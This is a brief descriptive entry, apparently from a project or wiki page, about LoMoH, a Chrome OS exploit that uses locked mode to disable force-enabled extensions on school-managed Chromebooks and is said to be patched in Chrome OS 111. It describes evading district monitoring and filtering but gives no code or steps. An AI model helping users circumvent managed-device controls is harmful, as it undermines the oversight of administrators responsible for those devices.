Formerly named "Locked Mode Hack," this is a Chrome OS exploit that uses the locked mode feature to soft disable extensions that are force-enabled on managed accounts (Excluding Hapara Highlights and Read&Write if installed).
LoMoH is patched in Chrome OS 111 and later versions.
With districts blocking javascript:// URLs to prevent the use of other exploits like LTBEEF, the website version of LoMoH was made, but it posed a vulnerability for web filters to send site traffic of the site to administrators.
Screenshots are blocked while LoMoH is working. The website has a screenshot button to help with this issue.
